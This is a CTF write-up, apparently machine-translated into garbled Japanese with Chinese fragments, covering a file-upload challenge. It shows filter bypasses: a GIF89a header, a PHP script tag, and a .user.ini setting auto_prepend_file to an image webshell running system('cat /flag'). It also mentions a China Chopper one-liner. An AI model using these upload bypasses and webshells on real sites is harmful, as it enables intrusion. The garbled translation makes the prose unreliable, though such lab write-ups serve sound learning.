チェックインbuuctf

ファイルのアップロード

 

ブラックリスト

PHPの呼び出しexif_imagetype()機能を

GIF89aのファイルヘッダを使用してバイパスすることができます

 

のフィルタ処理テキストコンテンツ<?

<スクリプト言語= 'PHP'>の<script>バイパスすることができます

 

MIMEは、特殊な拡張子を変更し、使用して失敗しています

 

正しい姿勢:

使用.user.ini

.user.ini

私たちは、最初は、PHPマニュアルで見.user.ini紹介:

私たちはできることを.user.ini設定PHP_INI_PERDIR  と  PHP_INI_USER  INI設定モード、および限りの使用として  CGI / FastCGIのの  サーバーモードを使用することができますがphp.ini.user.ini

彼は、p牛の記事にある2つの興味深いセットに言及:auto_prepend_fileauto_append_fileでインクルード

我々は、これら2つの設定を手動で定義を見て:

大体の意味:私たちは、index.phpの中で1を挿入と同様に、(例えばindex.phpを)そのファイルを実行するPHPファイルに含まれます(例えば、a.jpgなど)のファイルを指定します。require(./a.jpg);

これら2つの違いは、単に設定することであるauto_prepend_fileは、ファイルの前に挿入され、auto_append_fileでインクルードファイルの挿入端(ファイルが呼び出された場合exit()、設定が無効である場合)

 

見て.user.ini、私たちのアイデアを分析した後、我々はこれらのいずれかをアップロードすることができ、より明確にする必要があります.user.ini

GIF89aの
 auto_prepend_file = a.jpg

然后再上传一个这样的图片马a.jpg:

GIF89a
<script language='php'>system('cat /flag');</script>

使上传路径下的php文件包含a.jpg
相当于调用require()函数


访问上传路径下的php文件即可得到flag
或者可以在a.jpg里写入一句话
菜刀连接后自己找flag

おすすめ

転載: www.cnblogs.com/Chr1sto/p/12173191.html